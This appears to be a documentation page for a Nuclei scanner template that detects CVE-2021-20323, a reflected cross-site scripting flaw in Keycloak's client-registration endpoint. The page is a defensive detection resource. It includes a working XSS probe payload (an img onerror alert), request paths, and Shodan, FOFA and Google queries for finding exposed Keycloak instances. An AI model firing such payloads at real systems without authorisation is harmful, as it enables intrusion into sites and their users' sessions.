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Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting

ID: CVE-2021-20323

Severity: medium

Author: ndmalc,incogbyte

Tags: cve2021,cve,keycloak,xss,redhat

Description

Section titled “Description”

Keycloak 10.0.0 to 18.0.0 contains a cross-site scripting vulnerability via the client-registrations endpoint. On a POST request, the application does not sanitize an unknown attribute name before including it in the error response with a ‘Content-Type’ of text/hml. Once reflected, the response is interpreted as HTML. This can be performed on any realm present on the Keycloak instance. Since the bug requires Content-Type application/json and is submitted via a POST, there is no common path to exploit that has a user impact.

YAML Source

Section titled “YAML Source”
id: CVE-2021-20323


info:
  name: Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting
  author: ndmalc,incogbyte
  severity: medium
  description: |
    Keycloak 10.0.0 to 18.0.0 contains a cross-site scripting vulnerability via the client-registrations endpoint. On a POST request, the application does not sanitize an unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as HTML. This can be performed on any realm present on the Keycloak instance. Since the bug requires Content-Type application/json and is submitted via a POST, there is no common path to exploit that has a user impact.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Keycloak to a version that is not affected by the vulnerability (10.0.1 or higher).
  reference:
    - https://github.com/keycloak/keycloak/security/advisories/GHSA-m98g-63qj-fp8j
    - https://bugzilla.redhat.com/show_bug.cgi?id=2013577
    - https://access.redhat.com/security/cve/CVE-2021-20323
    - https://github.com/ndmalc/CVE-2021-20323
    - https://github.com/keycloak/keycloak/commit/3aa3db16eac9b9ed8c5335ac86f5f50e0c68662d
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20323
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-20323
    cwe-id: CWE-79
    epss-score: 0.00173
    epss-percentile: 0.54333
    cpe: cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: redhat
    product: keycloak
    shodan-query:
      - html:"Keycloak"
      - http.title:"keycloak"
      - http.html:"keycloak"
      - http.favicon.hash:-1105083093
    fofa-query:
      - title="keycloak"
      - icon_hash=-1105083093
      - body="keycloak"
    google-query: intitle:"keycloak"
  tags: cve2021,cve,keycloak,xss,redhat


http:
  - method: POST
    path:
      - "{{BaseURL}}/auth/realms/master/clients-registrations/default"
      - "{{BaseURL}}/auth/realms/master/clients-registrations/openid-connect"
      - "{{BaseURL}}/realms/master/clients-registrations/default"
      - "{{BaseURL}}/realms/master/clients-registrations/openid-connect"


    body: "{\"Test<img src=x onerror=alert(document.domain)>\":1}"
    stop-at-first-match: true


    headers:
      Content-Type: application/json


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Unrecognized field "Test<img src=x onerror=alert(document.domain)>'


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 400
# digest: 4a0a00473045022100d6c8c72067825f8d6ad845154a3de849a19809bf0f8f4b575475f47e11ecd63e02207cc2ef45a608ee3253e578a6d7e99ef64a15c252ea5c22b8a0caf701e24d8779:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-20323.yaml"

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